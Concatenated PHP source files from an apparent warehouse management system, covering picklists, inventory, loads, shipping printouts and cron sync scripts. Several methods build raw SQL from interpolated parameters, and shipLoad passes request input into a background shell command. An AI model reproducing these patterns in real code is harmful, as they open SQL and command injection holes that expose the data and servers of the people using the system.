if( CommonHelper::hasValue($data['filter_status']) ) $query->where('data_value', '=', $data['filter_status'])->where('data_code', '=', 'PICKLIST_STATUS_TYPE');
if( CommonHelper::hasValue($data['filter_store']) ) $query->where('store_code', '=', $data['filter_store']);
/*if( CommonHelper::hasValue($data['filter_stock_piler']) ) $query->whereRaw('find_in_set('. $data['filter_stock_piler'] . ',assigned_to_user_id) > 0'); */
if( CommonHelper::hasValue($data['sort']) && CommonHelper::hasValue($data['order'])) {
if($data['sort'] == 'doc_no') $data['sort'] = 'picklist.move_doc_number';
$query->orderBy($data['sort'], $data['order']);
}
if( CommonHelper::hasValue($data['limit']) && CommonHelper::hasValue($data['page']) && !$getCount) {
$query->skip($data['limit'] * ($data['page'] - 1))
->take($data['limit']);
}
$query->groupBy('picklist.move_doc_number');
$result = $query->get();
DebugHelper::log(__METHOD__, $result);
// get the multiple stock piler fullname
foreach ($result as $key => $picklist) {
$assignedToUserId = explode(',', $picklist->assigned_to_user_id);
$getUsers = User::getUsersFullname($assignedToUserId);
$result[$key]->fullname = implode(', ', array_map(function ($entry) { return $entry['name']; }, $getUsers));
}
if($getCount) return count($result);
return $result;
}
public static function getPickingList($picklist_doc, $data= array(), $getCount=false)
{
$query = Picklist::select(DB::raw('SUM(wms_box_details.moved_qty) as total_qty, wms_stores.store_name, wms_stores.store_code, wms_box.move_doc_number as picklist_doc' ))
->join('stores','box.store_code','=','stores.store_code','LEFT')
->join('box_details','box.box_code','=','box_details.box_code','LEFT')
->join('picklist_details','box_details.picklist_detail_id','=','picklist_details.id','left')
->where('box.move_doc_number', $picklist_doc)
->WHERE('picklist_details',$picklist_doc)
->groupBy('box.box_code');
/*
if( CommonHelper::hasValue($data['filter_doc_no']) ) $query->where('picklist.move_doc_number', 'LIKE', '%'. $data['filter_doc_no'] . '%');
if( CommonHelper::hasValue($data['filter_type']) ) $query->where('type', '=', $data['filter_type']);
if( CommonHelper::hasValue($data['filter_status']) ) $query->where('pl_status', '=', $data['filter_status']);
if( CommonHelper::hasValue($data['sort']) && CommonHelper::hasValue($data['order'])) {
if($data['sort'] == 'doc_no') $data['sort'] = 'picklist.move_doc_number';
$query->orderBy($data['sort'], $data['order']);
}
if( CommonHelper::hasValue($data['limit']) && CommonHelper::hasValue($data['page']) && !$getCount) {
$query->skip($data['limit'] * ($data['page'] - 1))
->take($data['limit']);
}
$query->groupBy('picklist.move_doc_number');
$result = $query->get();*/
return $query;
}
public static function getPickingListCount($data)
{
$query = Picklist::select('*');
if( CommonHelper::hasValue($data['filter_doc_no']) ) $query->where('move_doc_number', 'LIKE', '%'. $data['filter_doc_no'] . '%');
if( CommonHelper::hasValue($data['filter_type']) ) $query->where('type', '=', $data['filter_type']);
if( CommonHelper::hasValue($data['filter_status']) ) $query->where('pl_status', '=', $data['filter_status']);
$result = $query->count();
return $result;
}
public static function changeToStore($docNo)
{
$picklistDetails = Picklist::select(DB::raw('sum(wms_picklist_details.move_to_shipping_area) as sum_moved, sum(wms_picklist_details.assigned_user_id) as sum_assigned'))
->join('picklist_details', 'picklist_details.move_doc_number', '=', 'picklist.move_doc_number')
// ->whereI('picklist.move_doc_number', '=',$docNo)
->whereIn('picklist.move_doc_number', $docNo)
->groupBy('picklist.move_doc_number')
->first();
DebugHelper::log(__METHOD__, $picklistDetails);
if(count($picklistDetails) === 0) throw new Exception("Document number does not exists");
if($picklistDetails['sum_moved'] > 0 || $picklistDetails['sum_assigned'] > 0) {
throw new Exception("This picklist cannot be changed to type store");
}
// Picklist::where('move_doc_number', '=', $docNo)
Picklist::whereIn('move_doc_number', $docNo)
->update(array(
'type' => 'store',
'updated_at'=> date('Y-m-d H:i:s')));
return;
}
public static function assignToLoadnumber($box_code = '', $data = array())
{
$query = picklist::where('pl_status', '=', $box_code)->update($data);
DebugHelper::log(__METHOD__, $query);
}
public static function assignToTL($tlnumber , $loadnumber) {
$query = DB::select(DB::raw("UPDATE wms_box set assign_to_load='1' where move_doc_number='$tlnumber'"));
}
public static function getremovedTL($tlnumber , $loadnumber) {
$query = DB::select(DB::raw("DELETE FROM wms_load_details where load_code = '$loadnumber' and move_doc_number = '$tlnumber'"));
}
public static function getremovedTLUpdate($tlnumber , $loadnumber) {
$query = DB::select(DB::raw("UPDATE wms_picklist set type='0' where move_doc_number='$tlnumber'"));
}
public static function assignToTLnumber($tlnumber , $loadnumber) {
$query1 = DB::select(DB::raw("INSERT INTO `wms_load_details`(`id`, `load_code`, `move_doc_number`, `sync_status`, `is_load`, `created_at`, `updated_at`, `jda_sync_date`) VALUES ('','$loadnumber','$tlnumber','','','','','')"));
}
public static function getInfoByDocNos($data)
{
return Picklist::where('move_doc_number','=', $data)->get()->toArray();
}
public static function getTlnumberPosted($data)
{
return Picklist::where('move_doc_number', $data)->update('pl_status','=','19')->get()->toArray();
}
public static function assignToStockPiler($docNo = '', $data = array())
{
$query = Picklist::select('transfer_no')->where('move_doc_number', '=', $docNo)->update($data);
}
/***************************Methods for API only*********************************/
public static function getListByPiler($pilerId)
{
return Picklist::whereRaw('find_in_set('. $pilerId . ',assigned_to_user_id) > 0')
->where('data_code', '=', 'PICKLIST_STATUS_TYPE')
->where('data_value', '<>', 'closed')
->join('picklist_details', 'picklist.move_doc_number', '=', 'picklist_details.move_doc_number')
->join('stores', 'stores.store_code', '=', 'picklist_details.store_code')
->join('dataset', 'picklist.pl_status', '=', 'dataset.id')
->groupBy('picklist.move_doc_number')
->get(array('picklist_details.so_no as transfer_no','picklist.move_doc_number','stores.store_name', 'picklist_details.store_code', 'data_value as status'))
->toArray();
}
public static function updateStatusToMoved($docNo)
{
return Picklist::where('move_doc_number','=', $docNo)
->update(array('pl_status' => Config::get('picking_statuses.moved')));
}
public static function updateStatus($docNo, $plStatus)
{
return Picklist::where('move_doc_number', '=', $docNo)
->update(array(
"pl_status" => $plStatus,
"updated_at" => date('Y-m-d H:i:s')
));
}
public static function getassigntlnumber($docNo)
{
return Picklist::where('move_doc_number', '=', $docNo)
->update(array(
"pl_status" => '19',
"updated_at" => date('Y-m-d H:i:s')
));
}
public static function getPicklistWithoutDiscrepancies()
{
$status_options = Dataset::where("data_code", "=", "PICKLIST_STATUS_TYPE")->get()->lists("id", "data_value");
$query = Picklist::join('picklist_details', 'picklist_details.move_doc_number', '=', 'picklist.move_doc_number')
->where('pl_status', '=', $status_options['done'])
// ->where('quantity_to_pick', '=', 'moved_qty')
// ->groupBy('picklist.move_doc_number')
->get()->toArray();
echo "<pre>"; print_r($query); die();
}
public static function getPicklistBoxes($doc_num){
/*$box = Picklist::select(DB::raw('sum(wms_box_details.moved_qty) as total_qty'),'box_details.box_code',
'picklist_details.sku as upc','picklist_details.store_code','picklist_details.so_no','picklist_details.store_code','stores.store_name', 'picklist.move_doc_number',
'product_lists.description','product_lists.dept_code','product_lists.sub_dept','product_lists.class','product_lists.sub_class','box.box_number','box.box_total','picklist.created_at')
->join('picklist_details', 'picklist_details.move_doc_number', '=', 'picklist.move_doc_number')
->join('box_details', 'picklist_details.id', '=', 'box_details.picklist_detail_id')
->join('box', 'box_details.box_code','=','box.box_code','LEFT')
->join('product_lists','product_lists.upc','=','picklist_details.sku','LEFT')
->join('stores','picklist_details.store_code','=','stores.store_code','LEFT')
->where('picklist.move_doc_number','=', $doc_num)
->groupBy('box_details.box_code')
->get();*/
$box= DB::SELECT(DB::raw("SELECT GROUP_CONCAT(DISTINCT(wms_picklist.move_doc_number) SEPARATOR ', ' ) as MASTER_EDU, wms_box_details.box_code,sum(wms_box_details.moved_qty) as qty, ship_date, wms_stores.store_code, wms_stores.store_name
from wms_picklist
INNER JOIN wms_box ON wms_picklist.move_doc_number=wms_box.move_doc_number
inner join wms_box_details on wms_box.box_code=wms_box_details.box_code
INNER JOIN wms_picklist_details on wms_box_details.picklist_detail_id=wms_picklist_details.id
left join wms_stores on wms_picklist_details.store_code = wms_stores.store_code
where wms_picklist.move_doc_number='$doc_num'
GROUP BY wms_box_details.box_code"));
return $box;
}
}
<file_sep><?php
class ApiDepartment extends BaseController {
public function __construct() {
date_default_timezone_set('Asia/Manila');
}
/**
* Get Brands
*
* @example www.example.com/api/{version}/department/brands
* @return array of brands
*/
public static function getBrands()
{
try {
$brands = Department::getBrands();
return CommonHelper::return_success_message($brands);
} catch (Exception $e) {
return CommonHelper::return_fail($e->getMessage());
}
}
/**
* Get Divisions
*
* @example www.example.com/api/{version}/department/divisions
* @return array of brands
*/
public static function getDivisions()
{
try {
$divisions = Department::getDivisions();
return CommonHelper::return_success_message($divisions);
} catch (Exception $e) {
return CommonHelper::return_fail($e->getMessage());
}
}
}<file_sep><?php
return array(
'heading_title' => 'Letdown',
'heading_title_letdown_details' => 'Letdown Details',
'heading_title_letdown_contents' => 'Letdown Contents',
'heading_title_letdown_lock_tags' => 'Letdown Lock Tags',
'text_success_close_letdown'=> 'Successfully closed the Letdown Document!',
'text_success_unassign_letdown'=> 'Successfully unassigned the Letdown Document!',
'text_closed_letdown' => 'Closed',
'text_warning' => 'Close Letdown',
'text_warning_unlock' => 'Unlock Lock Tags?',
'text_warning_unlock_single'=> 'Unlock Lock Tag?',
'text_success_unlock' => 'You have successfully unlocked the lock tag/s',
'text_fail_unlock' => 'Unable to unlock the lock tag/s',
'button_lock_tags' => 'Lock tags',
'button_close_letdown' => 'Close',
'button_to_letdown' => 'Go to Letdown List',
'button_back_lock_tags' => 'Go back to Letdown Lock Tags',
'button_unlock_tags' => 'Unlock tags',
'button_unlock_tag' => 'Unlock tag',
'label_lock_tag' => 'Lock Tag',
'label_stock_piler' => 'Stock Piler',
'label_slot' => 'Slot no/code:',
'label_sku' => 'Sku:',
'label_upc' => 'UPC:',
'label_store' => 'Store:',
'label_doc_no' => "Document Number:",
'label_status' => 'Status:',
'label_stock_piler' => 'Stock Piler:',
'col_id' => 'No.',
'col_doc_number' => 'Document Number',
'col_status' => 'Status',
'col_action' => 'Action',
'col_sku' => 'SKU',
'col_upc' => 'UPC',
'col_store' => 'Store',
'col_slot' => 'Slot',
'col_quantity_to_pick' => 'Quantity to pick',
'col_picked_quantity' => 'Quantity Picked',
'col_status' => 'STATUS',
'col_time_locked' => 'Time Locked',
'col_stock_piler' => 'Stock Piler',
'col_product_name' => 'Product name',
'col_store_code' => 'Store code',
'error_letdown_details' => 'An error occured, cannot perform desired action!',
'error_no_lock_tag' => 'Please choose a lock tag to unlock.',
'status_in_picking' => 'In picking area',
'status_not_in_picking' => 'Not in picking area'
);<file_sep><?php
return array(
'heading_title' => 'Stores with boxes shipped or ready for shipping',
'label_type' => 'Type:',
'label_doc_no' => 'Document Number:',
'col_id' => 'No.',
'col_type' => 'Type',
'col_doc_number' => 'Document Number',
'col_box_id' => 'Box id',
'col_box_no' => 'Box number',
'col_action' => 'Action',
'col_dt_sku' => 'SKU/UPC',
'col_dt_packed_qty' => 'Packed Quantity',
'button_ship_letdown' => 'Ship',
'button_shipped_letdown' => 'Shipped',
'text_warning' => 'Are your sure you want to mark this letdown as shipped?',
'text_success_ship_ld' => 'This store letdown document is marked as shipped',
''
);<file_sep>#!/usr/local/bin/php -q
<?php
chdir(dirname(__FILE__));
include_once('ewms_cron_class.php');
include_once('db2_cron_class.php');
$ewms = new cronEWMS();
$db2 = new cronDB2();
/*$po = $db2->purchaseOrder();
$ewms->purchaseOrder(); sleep(2);
$poDetail = $db2->purchaseOrderDetails();
$ewms->purchaseOrderDetails(); sleep(2);*/
$so = $db2->storeOrder();
$ewms->storeOrder(); sleep(2);
//$soDetail = $db2->storeOrderDetails();
//$ewms->storeOrderDetails(); sleep(2);
$db2->close();
$ewms->close();<file_sep>#!/usr/local/bin/php -q
<?php
chdir(dirname(__FILE__));
include_once('ewms_cron_class.php');
include_once('db2_cron_class.php');
$ewms = new cronEWMS();
$db2 = new cronDB2();
$inventory = $db2->inventory();
$ewms->inventory(); sleep(2);
$db2->close();
$ewms->close();<file_sep><?php
class Inventory extends Eloquent {
protected $guarded = array();
/**
* The database table used by the model.
*
* @var string
*/
protected $table = 'inventory';
public static function getInventoryMain($data = array(), $getCount = FALSE) {
$query = DB::table('inventory')
->select(DB::raw('wms_inventory.slot_id, wms_inventory.sku, wms_product_lists.sku upc, wms_product_lists.short_description, SUM(wms_inventory.quantity_on_hand) as total_qty, MIN(wms_inventory.created_at) as early_expiry'))
->join('product_lists', 'inventory.sku', '=', 'product_lists.upc', 'LEFT');
if( CommonHelper::hasValue($data['filter_slot_no']) ) $query->where('slot_id', 'LIKE', '%'.$data['filter_slot_no'].'%');
if( CommonHelper::hasValue($data['filter_prod_sku']) ) $query->where('product_lists.sku', 'LIKE', '%'.$data['filter_prod_sku'].'%');
if( CommonHelper::hasValue($data['filter_prod_upc']) ) $query->where('product_lists.upc', 'LIKE', '%'.$data['filter_prod_upc'].'%');
if( CommonHelper::hasValue($data['filter_date_from']) && CommonHelper::hasValue($data['filter_date_to'])) $query->whereBetween('inventory.created_at', array($data['filter_date_from'] . ' 00:00:00', $data['filter_date_to'] . ' 23:59:59'));
if( CommonHelper::hasValue($data['sort']) && CommonHelper::hasValue($data['order'])) {
if ($data['sort']=='slot_no') $data['sort'] = 'slot_id';
if ($data['sort']=='sku') $data['sort'] = 'inventory.sku';
if ($data['sort']=='upc') $data['sort'] = 'product_lists.upc';
if ($data['sort']=='quantity') $data['sort'] = 'total_qty';
if ($data['sort']=='quantity') $data['sort'] = 'total_qty';
if ($data['sort']=='created_at') $data['sort'] = 'inventory.created_at';
// if ($data['sort']=='expiry_date') $data['sort'] = 'created_at';
if ($data['sort']=='short_name') $data['sort'] = 'product_lists.short_description';
$query->orderBy($data['sort'], $data['order']);
}
if( CommonHelper::hasValue($data['limit']) && CommonHelper::hasValue($data['page']) && !$getCount) {
$query->skip($data['limit'] * ($data['page'] - 1))
->take($data['limit']);
}
$result = $query->groupBy('inventory.slot_id', 'inventory.sku')->get();
if($getCount) {
$result = count($result);
}
DebugHelper::log(__METHOD__, $result);
return $result;
}
public static function getInventory($data = array()) {
$query = DB::table('inventory')->join('product_lists', 'inventory.sku', '=', 'product_lists.upc', 'LEFT')
->where('inventory.slot_id', '=', $data['slot'])
->where('inventory.sku', '=', $data['sku']);
if( CommonHelper::hasValue($data['sort']) && CommonHelper::hasValue($data['order'])) {
if ($data['sort']=='sku') $data['sort'] = 'inventory.sku';
if ($data['sort']=='upc') $data['sort'] = 'product_lists.upc';
if ($data['sort']=='short_name') $data['sort'] = 'product_lists.short_description';
$query->orderBy($data['sort'], $data['order']);
}
if( CommonHelper::hasValue($data['limit']) && CommonHelper::hasValue($data['page'])) {
$query->skip($data['limit'] * ($data['page'] - 1))
->take($data['limit']);
}
$result = $query->get();
DebugHelper::log(__METHOD__, $result);
return $result;
}
public static function getCountInventory($data = array()) {
$query = DB::table('inventory')->join('product_lists', 'inventory.sku', '=', 'product_lists.upc', 'LEFT')
->where('inventory.slot_id', '=', $data['slot'])
->where('inventory.sku', '=', $data['sku']);
return $query->count();
}
}<file_sep><?php
class LoadController extends BaseController {
private $data = array();
public $layout = "layouts.main";
public function __construct()
{
date_default_timezone_set('Asia/Manila');
$this->beforeFilter('csrf', array('on' => 'post'));
$this->beforeFilter('auth', array('only' => array('Dashboard')));
// Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanAccessShipping', unserialize(Session::get('permissions')))) {
return Redirect::to('/');
}
} else {
return Redirect::to('users/logout');
}
}
public function showIndex() {
// Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanAccessShipping', unserialize(Session::get('permissions')))) {
return Redirect::to('/');
}
} else {
return Redirect::to('users/logout');
}
$this->getList();
}
public function getBarcode()
{
/*
* Author <NAME>
* Company davidscotttufts.com
*
* Date: 05/25/2003
* Usage: <img src="/barcode.php?text=testing" alt="testing" />
*/
// For demonstration purposes, get pararameters that are passed in through $_GET or set to the default value
}
public function exportCSV() {
// Check Permissions
/* if (Session::has('permissions')) {
if (!in_array('CanExportShipping', unserialize(Session::get('permissions')))) {
return Redirect::to('load/list');
}
} else {
return Redirect::to('users/logout');
}
*/
$this->data = Lang::get('loads');
$loadnumber = Input::get('loadnumber', NULL);
$filter_load_code = Input::get('filter_load_code', NULL);
$arrParams = array(
'filter_load_code' => Input::get('filter_load_code', NULL),
'sort' => Input::get('sort', 'load_code'),
'order' => Input::get('order', 'ASC'),
'page' => NULL,
'limit' => NULL
);
$results = Load::getExportLoadList($loadnumber, $arrParams);
print_r($results);
exit();
$this->data['results'] = $results;
$this->data['filter_load_code'] = $filter_load_code;
$this->data['loadnumber'] =$loadnumber;
$pdf = App::make('dompdf');
$pdf->loadView('loads.report_list', $this->data)->setPaper('a4')->setOrientation('landscape');
// return $pdf->stream();
return $pdf->download('loads_' . date('Ymd') . '.pdf');
}
public function exportCSVbarcode() {
// Check Permissions
$results = Load::all(["load_code"]);
echo '<img src="data:image/png;base64,' . DNS1D::getBarcodePNG("1", "C128",3,33) . '" alt="barcode" />';
exit();
/*$this->layout->content = View::make('picking/barcode')->with('producto',$results);*/
/* $pdf = App::make('dompdf');
$pdf->loadView('picking.barcode', $this->data)->setPaper('a7')->setOrientation('landscape');
// return $pdf->stream();
return $pdf->download('loads_' . date('Ymd') . '.pdf'); */
}
protected function getList()
{
$this->data = Lang::get('loads');
// URL
$this->data['url_export'] = URL::to('load/export');
$this->data['url_ship_load'] = URL::to('load/ship');
$this->data['url_load_print'] = URL::to('load/print');
// Search Filters
$filter_load_code = Input::get('filter_load_code', NULL);
$filter_status = Input::get('filter_status', NULL);
$sort = Input::get('sort', 'load_code');
$order = Input::get('order', 'ASC');
$page = Input::get('page', 1);
// Data
$arrParams = array(
'filter_load_code' => $filter_load_code,
'filter_status' => $filter_status,
'sort' => $sort,
'order' => $order,
'page' => $page,
'limit' => 30
);
$results = Load::getLoadList($arrParams)->toArray();
// echo '<pre>'; dd($results);
$results_total = Load::getLoadList($arrParams,true);
// Pagination
$this->data['arrFilters'] = array(
'filter_load_code' => $filter_load_code,
'filter_status' => $filter_status,
'sort' => $sort,
'order' => $order
);
$this->data['load'] = Paginator::make($results, $results_total, 30);
$this->data['load_count'] = $results_total;
$this->data['counter'] = $this->data['load']->getFrom();
$this->data['filter_load_code'] = $filter_load_code;
$this->data['filter_status'] = $filter_status;
$this->data['sort'] = $sort;
$this->data['order'] = $order;
$this->data['page'] = $page;
$url = '?filter_load_code=' . $filter_load_code;
$url .= '&filter_status=' . $filter_status;
$url .= '&page=' . $page;
$order_load_code = ($sort=='load_code' && $order=='ASC') ? 'DESC' : 'ASC';
$order_status = ($sort=='status' && $order=='ASC') ? 'DESC' : 'ASC';
$this->data['sort_load_code'] = URL::to('load/list' . $url . '&sort=load_code&order=' . $order_load_code, NULL, FALSE);
$this->data['sort_status'] = URL::to('load/list' . $url . '&sort=status&order=' . $order_status, NULL, FALSE);
// Permissions
$this->data['url_back'] =$this->setURL();
$this->data['permissions'] = unserialize(Session::get('permissions'));
$this->layout->content = View::make('loads.load_details', $this->data);
}
public function shipLoad()
{
try {
$data = Input::all();
if(!isset($data['load_code']))
throw new Exception("Load code empty.");
DB::beginTransaction();
$params = array('load_code' => $data['load_code']);
$isSuccess = Load::shipLoad($params);
if( $isSuccess )
{
$shippingParams = array(
'module' => Config::get('transactions.module_shipping'),
'jda_action' => Config::get('transactions.jda_action_shipping'),
'reference' => $data['load_code']
);
//create jda transaction for shipping
$jda = JdaTransaction::insert($shippingParams);
//if success run daemon command: php app/cron/jda/picklist.php
if( $jda ) {
$shipping = "classes/palletizing_step1.php {$data['load_code']}";
CommonHelper::execInBackground($shipping,'palletizing_step1');
}
}
self::shipLoadToBoxAuditTrail($data['load_code']);
DB::commit();
return Redirect::to('load/list'. $this->setURL())->with('message', Lang::get('loads.text_success_shipped'));
} catch (Exception $e) {
DB::rollback();
return Redirect::to('load/list'. $this->setURL())->withErrors(Lang::get('loads.text_fail_load'));
}
die();
}
public function printLoad($loadCode)
{
try {
// Search Filters
$filter_load_code = Input::get('filter_load_code', NULL);
$sort = Input::get('sort', 'doc_no');
$order = Input::get('order', 'ASC');
$page = Input::get('page', 1);
$this->data['filter_load_code'] = $filter_load_code;
$this->data['sort'] = $sort;
$this->data['order'] = $order;
$this->data['page'] = $page;
$this->data['url_back'] = $this->setURL();
$this->data['loadCode'] = $loadCode;
$this->data['records'] = Load::getLoadDetails($loadCode);
$this->data['permissions'] = unserialize(Session::get('permissions'));
$load=Load::select('printMTS')->where('load_code','=',$loadCode)->get();
$this->data['print_status']=$load[0]['printMTS'];
// get the comments to MTS reports
// $this->data['comments']= Load::getCommentsByLoadCode($loadCode);
$this->layout = View::make('layouts.print');
$this->layout->content = View::make('loads.printmts', $this->data);
} catch (Exception $e) {
return Redirect::to('load/list'. $this->setURL())->withErrors(Lang::get('loads.text_fail_load'));
}
}
public function printPackingList($loadCode)
{
// Search Filters
$filter_load_code = Input::get('filter_load_code', NULL);
$sort = Input::get('sort', 'doc_no');
$order = Input::get('order', 'ASC');
$page = Input::get('page', 1);
$this->data['filter_load_code'] = $filter_load_code;
$this->data['sort'] = $sort;
$this->data['order'] = $order;
$this->data['page'] = $page;
$this->data['url_back'] = $this->setURL();
$this->data['loadCode'] = $loadCode;
$this->data['records'] = Load::getPackingDetails($loadCode);
$this->data['storelocation'] = load::getStoreLocationwarehouse($loadCode);
$this->data['permissions'] = unserialize(Session::get('permissions'));
$load=Load::select('printPacking')->where('load_code','=',$loadCode)->get();
$this->data['print_status']=$load[0]['printPacking'];
$this->layout = View::make('layouts.print');
$this->layout->content = View::make('loads.print_packing_list', $this->data);
}
public function printPackingListstock($loadCode)
{
// Search Filters
$filter_load_code = Input::get('filter_load_code', NULL);
$sort = Input::get('sort', 'doc_no');
$order = Input::get('order', 'ASC');
$page = Input::get('page', 1);
$this->data['filter_load_code'] = $filter_load_code;
$this->data['sort'] = $sort;
$this->data['order'] = $order;
$this->data['page'] = $page;
$this->data['url_back'] = $this->setURL();
$this->data['loadCode'] = $loadCode;
$this->data['records'] = Load::getPackingDetailsstock($loadCode);
$this->data['storelocation'] = load::getStoreLocation($loadCode);
$this->data['permissions'] = unserialize(Session::get('permissions'));
$load=Load::select('printPacking')->where('load_code','=',$loadCode)->get();
$this->data['print_status']=$load[0]['printPacking'];
$this->layout = View::make('layouts.print');
$this->layout->content = View::make('store_return.print_packing_list', $this->data);
}
public function updatePrintLoad($loadCode)
{
Load::where('load_code', '=', $loadCode)
->update(array(
"printMTS" => 1
));
// Search Filters
$filter_load_code = Input::get('filter_load_code', NULL);
$sort = Input::get('sort', 'doc_no');
$order = Input::get('order', 'ASC');
$page = Input::get('page', 1);
$this->data['filter_load_code'] = $filter_load_code;
$this->data['sort'] = $sort;
$this->data['order'] = $order;
$this->data['page'] = $page;
$this->data['url_back'] = $this->setURL();
$this->data['loadCode'] = $loadCode;
$this->data['records'] = Load::getLoadDetails($loadCode);
$this->data['permissions'] = unserialize(Session::get('permissions'));
$load=Load::select('printMTS')->where('load_code','=',$loadCode)->get();
$this->data['print_status']=$load[0]['printMTS'];
// get the comments to MTS reports
$this->data['comments']=Load::getCommentsByLoadCode($loadCode);
$this->layout = View::make('layouts.print');
$this->layout->content = View::make('loads.printmts', $this->data);
}
public function updatePrintPackingList($loadCode)
{
// Search Filters
$filter_load_code = Input::get('filter_load_code', NULL);
$sort = Input::get('sort', 'doc_no');
$order = Input::get('order', 'ASC');
$page = Input::get('page', 1);
$this->data['filter_load_code'] = $filter_load_code;
$this->data['sort'] = $sort;
$this->data['order'] = $order;
$this->data['page'] = $page;
$this->data['url_back'] = $this->setURL();
$this->data['loadCode'] = $loadCode;
$this->data['records'] = Load::getPackingDetails($loadCode);
$this->data['permissions'] = unserialize(Session::get('permissions'));
$this->layout = View::make('layouts.print');
$this->layout->content = View::make('loads.print_packing_list', $this->data);
}
public function printLoadingSheet($loadCode)
{
// try {
// Search Filters
$filter_load_code = Input::get('filter_load_code', NULL);
$store_code = Input::get('store_code', null);
$sort = Input::get('sort', 'doc_no');
$order = Input::get('order', 'ASC');
$page = Input::get('page', 1);
/*$asdf = Input::get('load_code', null);
$this->data['po_info'] =Load::getStoreLocation($asdf);*/
$this->data['store_code'] = $store_code;
$this->data['filter_load_code'] = $filter_load_code;
$this->data['sort'] = $sort;
$this->data['order'] = $order;
$this->data['page'] = $page;
$this->data['url_back'] = URL::to('load/shipping' . $this->setURL());
$this->data['loadCode'] = $loadCode;
$this->data['records'] = Load::getLoadingDetails($loadCode);
$this->data['storelocationss'] = Load::getLoadingDetails123($loadCode);
$this->data['permissions'] = unserialize(Session::get('permissions'));
$this->layout = View::make('layouts.print');
$this->layout->content = View::make('loads.print_loading_sheet', $this->data);
// } catch (Exception $e) {
// return Redirect::to('load/list'. $this->setURL())->withErrors(Lang::get('loads.text_fail_load'));
// }
}
public function printLoadingSheetstock($loadCode)
{
// try {
// Search Filters
$filter_load_code = Input::get('filter_load_code', NULL);
$sort = Input::get('sort', 'doc_no');
$order = Input::get('order', 'ASC');
$page = Input::get('page', 1);
$this->data['filter_load_code'] = $filter_load_code;
$this->data['sort'] = $sort;
$this->data['order'] = $order;
$this->data['page'] = $page;
$this->data['url_back'] = URL::to('stocktransfer/stocktranferload' . $this->setURL());
$this->data['loadCode'] = $loadCode;
$this->data['records'] = Load::getLoadingDetailsstock($loadCode);
$this->data['storelocation'] = load::getStoreLocation($loadCode);
$this->data['permissions'] = unserialize(Session::get('permissions'));
$this->layout = View::make('layouts.print');
$this->layout->content = View::make('store_return.print_loading_sheet', $this->data);
// } catch (Exception $e) {
// return Redirect::to('load/list'. $this->setURL())->withErrors(Lang::get('loads.text_fail_load'));
// }
}
protected function setURL($forDetail = false, $forBackToList = false) {
// Search Filters
$url = '?filter_type=' . Input::get('filter_type', NULL);
$url .= '&filter_load_code=' . Input::get('filter_load_code', NULL);
$url .= '&filter_status=' . Input::get('filter_status', NULL);
if($forDetail) {
$url .= '&sort_back=' . Input::get('sort', 'load_code');
$url .= '&order_back=' . Input::get('order', 'ASC');
$url .= '&page_back=' . Input::get('page', 1);
} else {
if($forBackToList == true) {
$url .= '&sort=' . Input::get('sort_back', 'load_code');
$url .= '&order=' . Input::get('order_back', 'ASC');
$url .= '&page=' . Input::get('page_back', 1);
} else {
$url .= '&sort=' . Input::get('sort', 'load_code');
$url .= '&order=' . Input::get('order', 'ASC');
$url .= '&page=' . Input::get('page', 1);
}
}
return $url;
}
/**
* post audit trail when load is ship
*
* @example self::shipLoadToBoxAuditTrail();
*
* @param loadNo load number
* @return void
*/
public static function shipLoadToBoxAuditTrail($loadNo)
{
$dataAfter = "Load code # {$loadNo} just shipped by ".Auth::user()->username;
$arrParams = array(
'module' => Config::get("audit_trail_modules.shipping"),
'action' => Config::get("audit_trail.ship_load"),
'reference' => "Load code #: " .$loadNo,
'data_before' => '',
'data_after' => $dataAfter,
'user_id' => Auth::user()->id,
'created_at' => date('Y-m-d H:i:s'),
'updated_at' => date('Y-m-d H:i:s')
);
AuditTrail::addAuditTrail($arrParams);
}
protected function plNumberGeneration() {
$pl = Dataset::firstOrNew(array('data_code'=>'PL_NUM_FORMAT'));
$plNo = sprintf("%07s", (int)$pl->data_value + 1);
$pl->data_value = $plNo;
$pl->updated_at = date('Y-m-d H:i:s');
$pl->save();
$pl_code = Dataset::find($pl->id);
return $plNo;
}
public function showdivision() {
// Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanAccessPurchaseOrders', unserialize(Session::get('permissions')))) {
return Redirect::to('user/profile');
}
} else {
return Redirect::to('users/logout');
}
$this->getListdivision();
}
protected function getListdivision() {
// URL
//$this->data['url_export'] = URL::to('purchase_order/export' . $this->setURL());
//$this->data['url_export_backorder'] = URL::to('purchase_order/export_backorder' . $this->setURL());
//$this->data['url_reopen'] = URL::to('purchase_order/reopen');
//$this->data['url_assign'] = URL::to('purchase_order/assign' . $this->setURL());
//$this->data['url_detail'] = URL::to('purchase_order/detail' . $this->setURL(true));
// Message
$this->data['error'] = '';
if (Session::has('error')) {
$this->data['error'] = Session::get('error');
}
$this->data['success'] = '';
if (Session::has('success')) {
$this->data['success'] = Session::get('success');
}
// Search Options
// $this->data['po_status_type'] = Dataset::getTypeInList("PO_STATUS_TYPE");
//$this->data['stock_piler_list'] = $this->getStockPilers();
// $this->data['brands_list'] = $this->getBrands();
//$this->data['divisions_list'] = $this->getDivisions();
// Search Filters
$load_code = Input::get('load_code', NULL);
$filer = Input::get('filer', NULL);
$date_at = Input::get('date_at', NULL);
$filter_po_no = Input::get('filter_receiver_no', NULL);
$filter_receiver_no = Input::get('filter_receiver_no', NULL);
$filter_entry_date = Input::get('filter_entry_date', NULL);
$filter_stock_piler = Input::get('filter_stock_piler', NULL);
$filter_status = Input::get('filter_status', NULL);
$filter_back_order = Input::get('filter_back_order', NULL);
$filter_brand = Input::get('filter_brand', NULL);
$filter_division = Input::get('filter_division', NULL);
$filter_shipment_reference_no = Input::get('filter_shipment_reference_no', NULL);
$sort = Input::get('sort', 'po_no');
$order = Input::get('order', 'DESC');
$page = Input::get('page', 1);
$receiver_no = Input::get('receiver_no', NULL);
//$this->data['po_info'] = load::getPOInfodiv($receiver_no);
//Data
$arrParams = array(
'filter_po_no' => $filter_po_no,
'filter_receiver_no' => $filter_receiver_no,
'filter_entry_date' => $filter_entry_date,
'filter_stock_piler' => $filter_stock_piler,
'filter_back_order' => $filter_back_order,
'filter_status' => $filter_status,
'filter_brand' => $filter_brand,
'filter_division' => $filter_division,
'filter_shipment_reference_no' => $filter_shipment_reference_no,
'receiver_no' => $receiver_no,
'sort' => $sort,
'order' => $order,
'page' => $page,
'limit' => 30
);
$results = PurchaseOrder::getPoListsdivision($arrParams);
$results_total = PurchaseOrder::getPoListsdiv($arrParams, TRUE);
